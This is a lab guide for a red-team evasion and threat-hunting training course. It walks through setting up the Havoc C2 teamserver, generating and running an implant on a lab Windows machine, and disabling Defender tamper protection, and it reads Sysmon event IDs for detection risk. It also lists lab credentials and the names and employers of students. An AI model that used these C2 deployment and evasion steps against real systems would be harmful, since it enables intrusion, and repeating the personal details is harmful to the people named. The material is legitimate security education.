Training

1. INTRO: THREATHUNTING ACADEMY - EVASION

DISCLAIMER: This training is copyright (c) 2025 of Vanguard Security, all information and tools provided are intended for educational purposes only. Performing hacking attempts on computers that you do not own (without permission) is illegal! Do not attempt to gain access to device that you do not own.

THEV

Welcome to the "Threathunting Academy - Evasion" this is the official lab guide that will guide you through the infrastructure. Students will all have their own Windows 10 client machine, and a Kali Red Team server.

IMPORTANT: Do not submit any code/samples to public virus-scanning services (Virus Total, Online Sandboxes,... ) - doing so will only make our life harder, as they will simply create a static signature, and we'll then have to evade that, rewrite the training, make new screenshots for something trivial.

What you will learn in this training:

  • How attack frameworks work
  • AV and EDR internals and how to evade them
    • Windows Defender, AMSI and ETW basics and evasion
  • PowerShell based attacks (in-memory)
  • How signature based detection works and how to evade
  • What Shellcode is, how to build and use shellcode
  • Build your own evasive shellcode loader
  • Build your own Forensics Lab

In this training we'll be using an Administrator account, although this training is not about privilege escalation, we will demonstrate how you can elevate a regular user to an Admin/System user, we'll start with a few labs doing just that. With that (privesc) out of the way we'll run all other labs with an admin user.

At the End of this training

  • You will know how to set up your own malware analysis lab
  • Have learned how privilege escalation, persistence, code-execution, evasion and other techniques work.
  • Modify existing attack tools to bypass defenses
  • Learn how to analyze malware (static/dynamic)
  • Work with attack frameworks, customize them with your own toolset and apply evasion techniques
  • Build your own evasive shellcode loader using memory injection, remote payloads, obfuscation, encryption and other evasion techniques
  • Understand how AV/EDR solutions work, where their telemetry comes from and how to bypass

1.1 RECOMMENDED BOOKS

screenshot screenshot

1.2 THE DIFFERENCE BETWEEN DETECTION RULES AND THREATHUNTING RULES

  • Threathunting rules: Threathunting rules are not the same as detection rules. A detection rule needs to be robust and trigger as few false positives as possible, especially when used for alerting (alert fatigue). Threathunting rules are hypothesis based detections looking for potential TTP's and to pro-actively find specific behaviours in your environment

  • Detection rules: are typically used in SIEM, EDR, or IDS solutions and are designed to identify malicious activities that match known patterns or IOCs. For example, a detection rule might flag any authentication attempt from a blacklisted IP address or a known malware hash.

AspectDetection RulesThreat Hunting Rules
ApproachReactiveProactive
PurposeDetect known threats automaticallySeek out unknown or hidden threats manually
Rule BasisPredefined signatures, indicators of compromise (IOCs)Hypothesis-driven, based on tactics and behaviors
AutomationHighly automated (alerts are generated automatically)Requires human analysis and interpretation
FocusSpecific artifacts: matching concrete patterns or indicatorsSuspicious behaviors, anomalies, potential gaps in existing detections
OutcomeTriggers alerts for immediate investigationGenerates new hypotheses, refines detection capability, identifies detection gaps
ToolsMainly SIEM, EDR, IDS systems plugging in detection contentUses the same data/tools but with flexible, creative queries
Human InvolvementLow to moderate (mainly to triage/validate alerts)High (analyst interpretation essential)

1.3 THREAT HUNTING VS INCIDENT RESPONSE

  • Threat hunting is often described as "incident response without the incident" — a proactive, human-driven activity aimed at uncovering threats that automated detections may miss.

  • During active incidents, threat hunters assist the incident response process by:

    • Identifying the full scope and impact of an intrusion.
    • Discovering indicators of compromise (IOCs), suspicious behaviors, and signs of attacker dwell time.
    • Formulating and testing hypotheses about adversary behavior within the environment.

Application in Incident Response

In incident response, the use of threat hunting rules provides several key advantages:

  • Guide the investigation: Rules or hypotheses can focus efforts on likely compromise areas.
  • Uncover hidden elements: Reveal lateral movement, persistence mechanisms, or attacker-controlled infrastructure.
  • Accelerate forensics: Fuel forensic efforts with behavioral and contextual intelligence from threat hunting activities.

Collaboration Between Hunting and Response

  • Threat hunting results are often fed into the forensic analysis process — helping create timelines, understand the attack chain, and establish root cause.
  • Hunting during an incident enables fast, hypothesis-driven iteration to rapidly contain and mitigate threats.

Summary

  • Proactively: Threat hunting helps detect threats before an alert is triggered.

  • Reactively: In an incident, threat hunting rules support forensics and incident response by:

    • Adding context
    • Guiding workflows
    • Identifying gaps in initial findings

Conclusion: Threat hunting rules are critical tools both before incidents occur (to uncover hidden threats), and during/after incidents (to support forensic investigations and improve incident response). They provide context, speed, and depth that traditional detection tools may miss.

LAB ACCESS

1. ACCESSING THE LAB INFRASTRUCTURE

In this training you'll be using Apache Guacamole to connect to your Windows 10 machine and Kali Linux server. Guacamole is a clientless remote desktop gateway that supports standard protocols like VNC, RDP, and SSH. It requires no plugins or client software; all you need is a web browser.

  • Connect with your browser to your Windows 10 machine, select the right student number that was assigned to you in the beginning of the class:

  • Guacamole URL: https://guacamole.threathuntingacademy.com

  • Guacamole Username: studentXX (XX = your assigned student number, e.g., student01)

  • Guacamole Password: Threathunt25 (case sensitive!)

You will use the same username and password for all authentication purposes (RDP, SSH, Tools, Windows and Kali) in this training, unless specifically mentioned otherwise.

image

You browser will prompt you to Allow access to your clipboard - make sure allow this, as you'll be copy/pasting commands from the training material into the RDP session.

image

Once logged in, you will see two connections:

Windows 10 - studentXX - Your Windows 10 machine where you'll perform most of the labs.

Kali Linux - studentXX - Your Kali Linux machine where you'll perform some of the labs.

  • student01 - Jenne Tondeleir (UGent)
  • student02 - Bart Vermeersch (Ugent)
  • student03 - B. Vermeersch (Ugent)
  • student04 - Bert de Smedt (Ugent)
  • student05 - Leander Vervacke (Easi)
  • student06 - Raf Coulier (Easi)
  • student07 - Jeroen Gui (Easi)
  • student08 - Frank Driesen (UHasselt)
  • student09 - Filip Vandenberghe (UHasselt)
  • student10 - Steven Algoet (UZGent)
  • student11 - Pieter Donche (Lineas)

The WIKI is best accessed from your Windows 10 machine by using Chrome and browsing to:

2. DO NOT SUBMIT ANY OF THE PAYLOADS FROM THIS TRAINING TO VIRUSTOTAL OR ANY OTHER ONLINE SCANNING SERVICE!

IMPORTANT : Please do not send submit samples to Virus Total or any other public virus-scanning services, unless specifically instructed. We don't want to burn our payloads for this training. Make sure at all times that sample submission in Microsoft Defender is turned off, and if for some reason you get prompted to submit a sample, deny the request.

3. DISABLE WINDOWS TAMPER PROTECTION

As we'll be doing several labs that require us to disable Windows Defender features, we need to disable Tamper Protection first, which prevents changes to Windows Defender settings. It won't change any detection capabilities, just the ability to change settings.

Screenshot

4. DISCORD ACCESS Disabled today

Please join our Discord server for any questions, help or discussions - we will also post any updates or changes there, documents and other useful resources.

5. GUIDELINES ON HOW TO COMPLETE THE LABS

Each lab contains a number of tasks that you need to complete, each task will typically have a screenshot showing you what the end-result should look like. When you see the below, it means you need to do something:

  • Do something

Typically it will be a command you need to run, it will be in a box like below, you can simply click on the little icon in the upper right corner to copy the command to your clipboard:

whoami

Every now and then you'll see a "NOTE" box, this is important information that you should read. It can be additional context, hints or tips - or a more in depth explanation of a certain topic/technique.

NOTE: If you have any questions, please ask the instructor or teaching assistant for help.

When you see text in red, it means it's something you should pay attention to, not doing it will likely cause you to fail the lab.

6. RDP and COPY/PASTE ISSUES

  • Sometimes when copy/pasting commands from the browser into the RDP session, it won't work as expected.

    • You paste the command, but it doesn't show up in the command/powershell prompt
    • Pasting multiple lines at once sometimes reverses the order of the lines, copying the lines into a notepad.exe on your windows machine first and then copying from there into the command/powershell prompt usually fixes this.
  • If you experience issues, try typing the command manually. This is a known Microsoft issue with some browsers and RDP sessions. Closing the RDP session and reconnecting will typically fix this (temporarily).

  • Sometimes the RDP session might freeze or disconnect, if that happens just reconnect using Guacamole.

7. SOLUTIONS

Every lab has a corresponding solutions folder. These are only to be used if you get stuck and need help. Try to complete the labs on your own first, and only use the solutions as a last resort. It's better to understand the material than to just get the right answer - so don't stress about copy/pasting the solution, try to understand what is being done and why.

8. LABS

Chapters in the WIKI that start with Lab - contains practical labs that you need to complete as part of this training. Each lab contains a number of tasks that you need to complete, and each task will typically have screenshots showing you what the end-result should look like. If you finish your lab early, please don't run ahead, instead you can always go through the theory we explained before the lab as this also contains other things you can try out.

9. LAB GUIDE, Tools and source code

At the end of the training we will provide you with a Lab Guide PDF that contains all labs, tasks and solutions in one document. You'll also receive a zip file with all the tools and source code you'll need for the labs.

Let's dive in!

1. HAVOC C2

1.1 OVERVIEW

With a plethora of attack frameworks available (https://howto.thec2matrix.com), the most important requirement is malleability/customizability. Commonly known frameworks such as Metasploit, Cobalt Strike, Empire (Starkiller GUI), BruteRatel, Mythic C2, Covenant and Sliver come to mind.

Screenshot

(https://c2matrix.webflow.io)

In this training we'll be using a rather new, Cobalt Strike-like framework called Havoc C2.

Screenshot

https://github.com/voidvxvt/Havoc/blob/main/README.md

1.2 ATTACK FRAMEWORK COMPONENTS

Attack frameworks typically all consist of the following elements:

Teamserver

The central C2 server that receives C2 traffic from implants on its listeners (i.e. LHOST in metasploit), management connections from the client as well as it typically also hosts payloads.

Client

This is the operator console that connects to the teamserver and allows the adversary to manage listeners, malleable profiles, payloads and implants.

Demon (implant)

This is the actual malicious code that communicates back over a C2 channel to the teamserver, very often this is primarily a stager/loader (a tiny program that will download the actual malicious code and typically inject it in to memory of a current or remote process.) - attack frameworks will provide a payload generator that can build different types of payloads (Exe's, dll's, shellcode, etc...).

The most known is probably MSFVenom from the Metasploit Framework.

Screenshot

C2 Redirectors

We won't be using this in the lab, but in real world scenarios these function as proxies between the victim and the C2/team-server (It's easier to pop up a new proxy, than a completely new C2/team-server)

Payload hosting

This is where the payloads are hosted for download by the implant, typically this is done over HTTP/S or DNS, and not from the teamserver itself. In our lab we'll be hosting the payloads directly on the teamserver, which is not recommended in a real-world scenario.

1.3 COMMON ACRONYMS

  • Beacon, Implant, Demon: An implant that "calls home" to a C2 server at regular intervals (check-in)
  • C2: Command and Control server, the server that manages implants
  • EDR: Endpoint Detection and Response, a type of security solution that monitors endpoints for suspicious activity
  • IOC: Indicator of Compromise, a piece of data that indicates a potential security breach
  • TTP: Tactics, Techniques, and Procedures, the behavior or modus operandi of threat actors

1.4 CONCLUSION

Havoc C2 is the framework we will be using in this training, however the techniques we'll be using can be utilized in each of the beforementioned frameworks.

Let's discover Havoc in the next lab!

1. LAB - HAVOC C2 BASICS

We have already installed Havoc C2 with a custom profile (HTTPS Listener, self-signed certificates and custom user agents).

Screenshot

1.1 RUNNING THE TEAMSERVER

  • On your Kali machine, open a terminal:

Screenshot

  • From your terminal run the following commands:
cd /opt/Havoc
  • And then run:
./havoc server --profile /opt/Havoc/profiles/HTTPS.yaotl -v --debug

Screenshot

NOTE: The --debug flag is only for demonstration purposes, it will output all C2 traffic in cleartext in the terminal. In a real-world scenario you would not use this flag. DON'T CLOSE THIS TERMINAL OR YOUR TEAMSERVER WILL STOP!

1.2 RUNNING THE CLIENT

  • In your existing terminal open a new tab:

Screenshot

The new tab should open in the same directory /opt/Havoc.

  • Then from that tab run the following command:
./havoc client

NOTE: DON'T CLOSE THIS TERMINAL OR YOUR CLIENT WILL STOP! - if for any reason your client disconnects from the teamserver, you can always restart it and reconnect to the teamserver by going back to this terminal tab and running ./havoc client again.

You should now see the Havoc client GUI.

  • We can now log in to our teamserver using the user Threatadmin and the password which we defined in the custom Havoc C2 profile.

Screenshot

ParameterValueComments
HOST0.0.0.0Binds to all available network interfaces
PORT40056Custom port for teamserver communication
UserThreatadminCustom admin user for Havoc C2
PasswordThreathunt25Authentication credential (provided during training)
  • Click on connect.

Screenshot

  • In the Havoc client go to VIEW, Listeners, select the HTTPS Listener and click on edit. You'll see the following:

Screenshot

  • Select the HTTPS Listener and click on edit.

Screenshot

Best Practices:

  • Run your C2 channel on a reputable server (onedrive, Dropbox, Akamai etc...)
  • Ideally register expired domains with a good reputation, that are categorized as safe.
  • Use an FQDN, not an IP address (i.e. something.crimsoncore.be instead of 192.168.100.25)
  • Use HTTPS for your C2 communication to evade network based detections (or DNS)
  • Make the webrequest look legit (user agent, headers etc...)

You'll see the following (please note the host bind address will be different from the screenshot, it will reflect the IP address of your Kali machine). Don't change anything here, just have a look and close the window again.

Screenshot

  • On your Windows machine when we browse with Chrome to the HTTPS listener (https://kali:443), we'll now see our own custom self-signed certificate - one IOC less for AV/EDR to trigger on! And C2 traffic is now encrypted!

The 404 page is normal as havoc is not serving an actual webpage, ignore this and check the website certificate

Screenshot

1.3 CREATING AND DEPLOYING PAYLOADS

We'll create a vanilla demon payload as an executable, make sure all settings are like in the screenshot below (we'll go into the advanced evasion settings later on), save the payload in "/opt/Havoc/payloads" directory:

  • In the Havoc client go to Attack, Payload, make sure the options are as in the screenshot below - HTTPS Listener, x64, Windows Exe for Injection use Win32 for Alloc and Execute and click on Generate.

NOTE: This can take a while, be patient.

Screenshot

Screenshot

Screenshot

Screenshot

Screenshot

Screenshot

Screenshot

Screenshot

Screenshot

  • On your Kali machine, go to your terminal, open a new tab and let's host this payload so we can download it on our Windows victim machines:

Screenshot

cd /opt/Havoc/payloads
updog2

Screenshot

  • Now, on your Windows machine use Chrome and go to http://kali:9090/ and download the Havoc demon ("demon.x64.exe") to "C:\Temp" - right-click on demon.x64.exe, "save link as" and point it to your C:\Temp directory.

NOTE: "C:\Temp" is whitelisted in MS Defender so your Defender won't trigger, we will deal with AV evasion later on, for now we just want to make sure our code executes and sets up a C2 connection.

Screenshot

NOTE: Chrome safe browsing will block potentially harmful files (EXEs, DLLs) when downloading with a browser - so don't forget to click "keep" in Chrome, so the file is allowed to download. Even if you turn safe browsing off...

Screenshot

Screenshot

We want to start with regular user privileges.

  • On your Windows machine, open a command prompt with Administrator privileges:
runas /user:student cmd.exe
  • Enter the password (Same as u use for Threatadmin user), and in the new command prompt you are now running as a regular user with medium integrity.

Screenshot

  • Now from this new command prompt running as (COMPUTERNAME\student), an unprivileged user, execute the payload:
cd \temp
demon.x64.exe

In our Havoc client we should now see a new session popping up:

Screenshot

You can change the session view from Table to Graph view:

Screenshot

1.4 HAVOC GUI TOUR

Havoc has some nice GUI features like listing running processes on the victim machine or remotely viewing the file system:

  • Right-click the session and select "Explorer" -> "Process List".

Screenshot Screenshot

  • Right-click the session and select "Explorer" -> "File Browser".

Screenshot Screenshot

With the File Browser you can also upload and download files to/from the victim machine by right-clicking a file or folder and selecting download on a file. The files will be uploaded to our loot directory (which can also have screenshots later on if we perform those actions).

  • In the file browser, navigate to C:\THEV\Labs and right-click any file and select Download.

Screenshot

The loot can be found in the Havoc client under VIEW -> Loot:

Screenshot

1.5 DIFFERENT SESSION VIEWS

In the HAVOC client you can change the session view from Table to Graph view:

Screenshot

We can switch between the two views by clicking on them.

  • Go to Session Viewselect "Graph View".

You will now see the sessions in a graph view, which can be easier on the eyes and help visualize relationships between sessions.

Screenshot

1.6 INTERACTING WITH THE DEMON (IMPLANT)

We can also interact with this implant and run Havoc commands and post-exploitation modules.

  • Right-click the session and select "Interact".

Screenshot

Let's check if our demon is actually running with the student account in medium integrity.

  • Type the following command in the Havoc prompt at the bottom
whoami 

NOTE: Sometimes when you copy/paste from this WIKI to the Havoc GUI, the command might not paste correctly (it sometimes seems to add a few spaces at the end) - if you get an error, try typing it manually. Or Remove any trailing spaces.

Screenshot

We see that our demon is indeed running with the student account in medium integrity.

Screenshot

Let's check which commands are available:

help

Screenshot

That's a ton of built in commands and post-exploitation modules! Havoc C2 is also extensible, you can write your own modules in python and load them into Havoc (late on we'll have a lab demonstrating this).

The shell command will allow you to run commands on the victim machine, but be aware that this will spawn a child process (cmd.exe) that runs the command you specified - this is a very BIG IOC. Many EDRs will be monitoring parent/child process relationships, and will check for these commands (systeminfo, ipconfig, whoami, net.exe etc.)

  • You can run the following command to see this in action:
shell whoami

NOTE: Sometimes when you copy/paste from this WIKI to the Havoc GUI, the command might not paste correctly (it sometimes seems to add a few spaces at the end) - if you get an error, try typing it manually. Or Remove any trailing spaces.

image

If you open ELEX (Eventlog Explorer) and navigate to the Sysmon logs (under Windows Logs -> Applications and Services Logs -> Microsoft -> Windows -> Sysmon \ Operational), you can see the command being run and the resulting child process (cmd.exe) that was spawned to execute the command. You'll also see the parent process (the Havoc demon) that spawned it.

image

The screenshots above (from your Windows machine using System Informer) show the command being run, and the resulting child process (cmd.exe) that was spawned to execute the command. You'll have to be very quick to see it in the process list, as it spawns and terminates very quickly. You could use a longer running command like shell ping 1.1.1.1 -n 20 to have a better chance of seeing it in the process list.

A more OPSEC way of doing this is by using BOFs (tiny inline C object files), or in the case of C# - (inline-)execute assembly (Cobalt Strike/Sliver) or with Havoc "dotnet inline-execute". Don't worry we have a lab later on demonstrating that!

We now have a simple Havoc demon payload running on the victim client, of course this would have been detected by AV, and as a regular user we can't do all the cool stuff - so let's continue and see how we can elevate privileges, but before we go let's clean up.

1.7 CLEANUP

On your Kali machine:

  • Stop the updog server in the terminal it's running in by pressing CTRL+C.

  • In order to properly clean up your sessions - in the Havoc GUI, right-click on each session, "Mark as dead", then "Exit-> Process" and finally "Remove".

Screenshot Screenshot Screenshot

On your Windows machine:

  • Close all command prompts, and PowerShell windows.

Hunting & Telemetry

1. SYSMON (WINDOWS ENDPOINT)

This chapter gives a brief overview of Sysmon, what telemetry it provides and how to read the logs. For a more in-depth overview of Sysmon, its configuration and event ID's please refer to the Sysmon Community Guide.

"System Monitor (Sysmon) is a Windows system service and device driver that, once installed on a system, remains resident across system reboots to monitor and log system activity to the Windows event log. It provides detailed information about process creations, network connections, and changes to file creation time. By collecting the events it generates using Windows Event Collection or SIEM agents and subsequently analyzing them, you can identify malicious or anomalous activity and understand how intruders and malware operate on your network."

Note that Sysmon does not provide analysis of the events it generates, nor does it attempt to protect or hide itself from attackers.

Below are some useful links to get you started:

Screenshot command Source: https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon

1.1 SYSMON ARCHITECTURE

Sysmon installs a device driver that monitors and reports on system activity to the Windows event log. It consists of three main components with WMI integration:

  • Kernel-mode driver (SysmonDrv.sys) that monitors system calls and generates events
  • User-mode service (Sysmon64.exe) that configures the driver and writes events to the Windows event log
  • Event Manifest that defines event schemas for proper parsing by Windows Event Log

Sysmon Architecture

Enhanced Architecture Details:

The kernel driver (SysmonDrv.sys) operates using multiple detection methods:

Kernel Callbacks (Primary Detection Method):

  • PsSetCreateProcessNotifyRoutineEx: Process creation/termination monitoring (Events 1, 5)
  • PsSetCreateThreadNotifyRoutine: Thread creation monitoring (Event 8)
  • PsSetLoadImageNotifyRoutine: Image/DLL loading monitoring (Events 6, 7)
  • CmRegisterCallback: Registry operations monitoring (Events 12, 13, 14)
  • ObRegisterCallbacks: Object handle operations monitoring (Event 10)

Minifilter Driver Integration:

  • File System Operations: Registers as a minifilter driver on all volumes to monitor file operations (Events 11, 23, 26)
  • Pre-operation Callbacks: Intercepts file system requests before they reach the file system
  • Post-operation Callbacks: Monitors completed file operations

Network Detection Methods:

  • WFP (Windows Filtering Platform) Callouts: Network connection monitoring (Event 3)
  • Kernel Network Callbacks: Direct kernel-level network monitoring
  • Implementation: Uses Windows Filtering Platform APIs for real-time network traffic interception

ETW Integration (Selective):

Sysmon subscribes to specific ETW providers for targeted telemetry collection:

DNS Query Monitoring (Event 22):

  • ETW Provider: Microsoft-Windows-DNS-Client
  • Provider GUID: {1C95126E-7EEA-49A9-A3FE-A378B03DDB4D}
  • ETW Session: SysmonDnsEtwSession
  • Collection Method: Real-time ETW event subscription
  • Event Processing: ETW DNS events converted to Sysmon Event ID 22

WMI Detection (Implementation Details):

Note: The specific technical implementation for WMI monitoring is not detailed in Microsoft's official Sysmon documentation. The following is based on community research and behavioral analysis.

WMI Activity Monitoring (Events 19-21):

  • Observed Method: Research suggests direct COM API interception via ExecNotificationQueryAsync() and ExecNotificationQuery() callbacks
  • Target Classes: Monitors WMI Trinity (__EventFilter, __EventConsumer, __FilterToConsumerBinding)
  • Behavioral Evidence: Sysmon successfully detects WMI persistence mechanisms without relying on ETW providers
  • Implementation Theory: Direct IWbemServices interface monitoring combined with WMI repository change detection

Technical Implementation Details:

  • Hook Points: Sysmon intercepts WMI COM interface calls at the kernel level
  • Monitoring Scope: Tracks WMI class instance creation, modification, and deletion
  • Event Correlation: Links filter creation to consumer binding for complete persistence chain visibility
  • Repository Monitoring: Monitors direct WMI repository (root\cimv2) modifications

Key Technical Distinction:

  • Network Events (Event 3): WFP callouts - kernel-level network filtering
  • DNS Events (Event 22): ETW provider subscription - event-driven collection
  • WMI Events (Events 19-21): COM API interception - direct interface monitoring

Service Architecture:

The user-mode service (Sysmon64.exe/Sysmon.exe):

  • Configuration Management: Processes XML configuration and applies filtering rules
  • Event Processing: Receives events from kernel driver and formats them for Windows Event Log
  • Registry Integration: Stores configuration in registry (HKLM\SYSTEM\CurrentControlSet\Services\SysmonDrv)
  • Service Communication: Maintains continuous communication with kernel driver via IOCTL calls

Performance Characteristics:

  • CPU Overhead: Typically <2% on modern systems with default configuration
  • Memory Footprint: 15-30MB resident memory (driver + service)
  • I/O Impact: Minimal due to efficient kernel-level filtering
  • Event Generation: Can produce 10GB+ daily on busy enterprise systems

  • Sysmon has already been installed on your Windows machine, you can open your Windows event viewer by clicking on the Windows logo in the bottom left corner, and just start typing "event".

  • You can have a look at the sysmon.xml with by using Visual Studio Code.

Screenshot command

IMPORTANT: Make sure you are running as local admin in order to see the sysmon logs.

Screenshot command

  • Now navigate to Application and Services Logs > Microsoft > Windows > Sysmon > Operational, you can now see that Sysmon has created a new Windows event log and is tracking process creations (ID 1), file creation time changes (ID 2), process terminations (ID 5) and other activities.

Screenshot command

If Sysmon is installed without a configuration file it will only log a few event IDs, we have provided a basic config file during the installation - which logs more event IDs, you can see that in the event viewer now there are more event IDs logged, like network connections (ID 3), driver loads (ID 6), image loads (ID 7), create remote thread (ID 8), file creates (ID 11), registry events (ID 12, 13, 14), WMI activity (ID 19, 20, 21), DNS queries (ID 22) and more. You can find this config file in C:\THEV\SysinternalsSuite\SysmonConfig.xml.

1.2 SYSMON EVENT SUMMARY - NOISE LEVEL ANALYSIS

Event IDEvent TypeRed Team Detection RiskNoise Level
1Process Creation🔴 High🔴 Extremely High (every process)
2File Creation Time Change🟡 Moderate🟢 Very Low (rare operations)
3Network Connection🔴 High🔴 Very High (every connection)
5Process Terminated🟢 Low🔴 Extremely High (every process)
6Driver Loaded🟡 Moderate🟡 Medium (system startup + installs)
7Image Loaded🔴 High🔴 Extremely High (every DLL load)
8CreateRemoteThread🔴 Critical🟢 Low (injection attempts only)
9Raw Disk Access🟢 Low🟢 Very Low (forensic tools, backup)
10Process Access🔴 High🟡 Medium (debugging, injection)
11File Create🟡 Moderate🔴 Very High (every file creation)
12Registry Create/Delete🟡 Moderate🟡 Medium (installs, config changes)
13Registry Value Set🟡 Moderate🔴 High (frequent config changes)
14Registry Rename🟢 Low🟢 Very Low (rare operations)
15File Create Stream🟡 Moderate🟡 Medium (downloads, NTFS streams)
16Sysmon Configuration Change🟢 Low🟢 Very Low (admin changes only)
17Named Pipe Creation🟡 Moderate🟡 Medium (IPC, legitimate apps)
18Named Pipe Connection🟡 Moderate🟡 Medium (IPC communications)
19WMI Filter Activity🔴 High🟢 Low (WMI persistence attempts)
20WMI Consumer Activity🔴 High🟢 Low (WMI persistence attempts)
21WMI Consumer-to-Filter Activity🔴 Critical🟢 Very Low (complete WMI persistence)
22DNS Query🔴 High🔴 Very High (every DNS lookup)
23File Delete🟡 Moderate🔴 High (cleanup, temp files)
24Clipboard Change🟢 Low🟡 Medium (user copy/paste)
25Process Tampering🔴 Critical🟢 Low (injection/hollowing only)
26File Delete Detected🟡 Moderate🟡 Medium (anti-virus, cleanup)
27File Block Executable🔴 High🟢 Low (blocked executables)
28File Block Shredding🟢 Low🟢 Very Low (secure delete tools)
29File Executable Detected🔴 High🟡 Medium (new executables)
255Error🟢 Low🟢 Low (system errors)

Noise Level Legend:

  • 🟢 Low/Very Low: Rare events, high signal-to-noise ratio, suitable for alerting
  • 🟡 Medium: Moderate frequency, requires filtering, good for hunting
  • 🔴 High/Very High/Extremely High: Frequent events, requires significant filtering, storage intensive

Key Insights for Red Teams:

  • High-Value, Low-Noise Events: 8, 19-21, 25 (injection and WMI persistence detection) - immediate alerting candidates
  • High-Risk, High-Noise Events: 1, 3, 7, 22 - require sophisticated filtering but critical for detection
  • WMI Trinity Events: 19-21 specifically target WMI-based persistence mechanisms (__EventFilter, __EventConsumer, __FilterToConsumerBinding)
  • Storage Impact: Events 1, 3, 7, 11, 13, 22, 23 generate massive log volumes in enterprise environments

Event Distinction Clarifications:

  • Event 8 vs 25: Event 8 specifically logs CreateRemoteThread API calls (thread-based injection), while Event 25 covers broader process memory tampering (hollowing, code injection, memory modification)
  • Event 23 vs 26: Event 23 logs file deletion via standard deletion APIs (e.g., DeleteFile), while Event 26 logs file deletions detected through file system monitoring (minifilter)

NOTE: Be very careful with SYSMON EVENT ID 23 : A file delete was detected [FileDelete] - this can fill up your disk quickly, files are by default saved to C:\Sysmon, you can change this by running sysmon64.exe with -a SysmonArchive, to save it to a custom (hidden folder), this can be useful but probably best if used very targeted to specific user writable folders (c:\Users, c:\windows\temp) and for specific file types (i.e. exe, dll, ps1, vbs, etc...). If you can put this archive on a partition that doesn't host the Windows OS!

1.3 SYSMON EVENT IDS FOR RED TEAM ANALYSIS

This table summarizes the Sysmon Event IDs from the Microsoft Sysinternals documentation (v15.15, July 23, 2024) at https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon. It includes implications for red team operations, focusing on detection/forensics and capabilities, particularly for fileless/memory-based attacks and C# tools.

Event IDEvent TypeDescriptionRed Team Implications (Detection/Forensics)Red Team Implications (Capabilities)
1Process CreationLogs process creation with full command line for current and parent processes. Includes process GUID for correlation, hashes (SHA1 default, MD5, SHA256, or IMPHASH), and session GUID.Detection Risk: High. Captures command-line arguments and hashes, exposing C# tools using PowerShell or .NET (e.g., powershell.exe spawning processes). EDRs correlate these events to detect malicious activity. Forensic Impact: Detailed logs (e.g., process lineage, hashes) aid in reconstructing C# attack chains, especially if using System.Diagnostics.Process.Impact on C#: Limits stealth of C# payloads relying on process spawning (e.g., via Process.Start). Red teams must obfuscate command lines or use in-memory execution to minimize logging.
2File Creation Time ChangeLogs changes to file creation times, useful for detecting timestomping (altering file metadata to evade detection).Detection Risk: Moderate. Fileless C# attacks (e.g., in-memory PowerShell) don't typically modify file times, but disk-based persistence (e.g., registry writes) may trigger this. Forensic Impact: Helps defenders detect timestomping attempts, though less relevant for purely memory-based C# attacks.Impact on C#: Minimal for fileless attacks, but C# tools writing to disk (e.g., for persistence) must avoid metadata changes or use anti-forensic techniques to evade.
3Network ConnectionLogs network connections, including source/destination IP, port, and protocol.Detection Risk: High. C# tools using System.Net (e.g., for C2 communication) trigger this event, exposing network activity to EDRs. Forensic Impact: Detailed connection logs help trace C2 servers, impacting Havoc or C# C2 operations.Impact on C#: Red teams must use encrypted channels (e.g., HTTPS) or proxies to mask C2 traffic. Havoc's TrustXForwardedFor setting may mitigate but requires careful configuration.
5Process TerminatedLogs when a process ends, including process ID and GUID.Detection Risk: Low. Termination of C# processes (e.g., powershell.exe) may be logged but is less suspicious unless correlated with other events. Forensic Impact: Aids in reconstructing process lifecycle but less critical for fileless attacks.Impact on C#: Minimal impact, as process termination is normal. Red teams should ensure C# payloads persist in memory to avoid repeated process creation.
6Driver LoadedLogs loading of drivers or DLLs, including signatures and hashes.Detection Risk: Moderate. C# tools using P/Invoke to load unsigned DLLs (e.g., for injection) may trigger this. Forensic Impact: Hashes and signatures expose unsigned or malicious DLLs used in C# attacks.Impact on C#: Avoids direct driver loading but P/Invoke calls (e.g., LoadLibrary) may still trigger. Use signed DLLs or in-memory loading to evade.
7Image LoadedLogs loading of DLLs or modules into processes, including hashes and signatures.Detection Risk: High. C# tools using System.Reflection or P/Invoke for in-memory DLL loading (e.g., reflective injection) trigger this event. Forensic Impact: Exposes loaded modules, aiding memory forensics (e.g., Volatility analyzing .NET assemblies).Impact on C#: Reflective DLL injection in C# (e.g., via Assembly.Load) is less stealthy due to this event. Red teams should minimize module loading or use obfuscation.
8CreateRemoteThreadLogs creation of threads in another process, often used for process injection.Detection Risk: Critical. C# tools performing process injection (e.g., via CreateRemoteThread in P/Invoke) are highly likely to be flagged by EDRs. Forensic Impact: Directly links to injection techniques, exposing Havoc or C# payloads.Impact on C#: Injection-based C# attacks (e.g., Havoc's notepad.exe injection) are at high risk. Use stealthier processes (e.g., svchost.exe) or avoid injection.
9Raw Disk AccessLogs raw read access to disks or volumes.Detection Risk: Low. Fileless C# attacks rarely involve raw disk access. Forensic Impact: Minimal unless C# tools manipulate disk structures directly.Impact on C#: Negligible for memory-based attacks, as C# typically operates at a higher level.
10Process AccessLogs when a process opens another process, often for injection or memory manipulation.Detection Risk: High. C# tools using OpenProcess (e.g., for injection) trigger this, alerting EDRs. Forensic Impact: Reveals process tampering, critical for tracing C# injection attacks.Impact on C#: Increases risk for C# injection tools (e.g., Havoc's injection settings). Use stealthier processes or avoid direct process access.
11File CreateLogs file creation or overwrite, useful for monitoring autostart or malware drop locations.Detection Risk: Moderate. Fileless C# attacks avoid this, but persistence mechanisms (e.g., dropping files via System.IO) trigger it. Forensic Impact: Exposes disk-based artifacts, less relevant for memory-based C# attacks.Impact on C#: Encourages fully fileless C# payloads (e.g., PowerShell, .NET reflection) to avoid disk writes.
12Registry Create/DeleteLogs creation or deletion of registry keys/values, useful for autostart or malware persistence monitoring.Detection Risk: Moderate. C# tools modifying registry (e.g., for persistence via Microsoft.Win32) trigger this. Forensic Impact: Exposes persistence mechanisms, aiding forensic analysis.Impact on C#: Red teams must minimize registry writes or use in-memory persistence to evade detection.
13Registry Value SetLogs modifications to registry values (DWORD/QWORD types).Detection Risk: Moderate. Similar to Event 12, C# tools setting registry values (e.g., via Registry.SetValue) are logged. Forensic Impact: Reveals configuration changes, critical for tracing C# persistence.Impact on C#: Avoid registry modifications in C# tools to maintain stealth, favoring memory-based techniques.
14Registry RenameLogs renaming of registry keys or values.Detection Risk: Low. Rare in C# attacks unless manipulating registry for persistence. Forensic Impact: Limited unless C# tools rename keys (e.g., to hide persistence).Impact on C#: Minimal impact, as registry renaming is uncommon in fileless attacks.
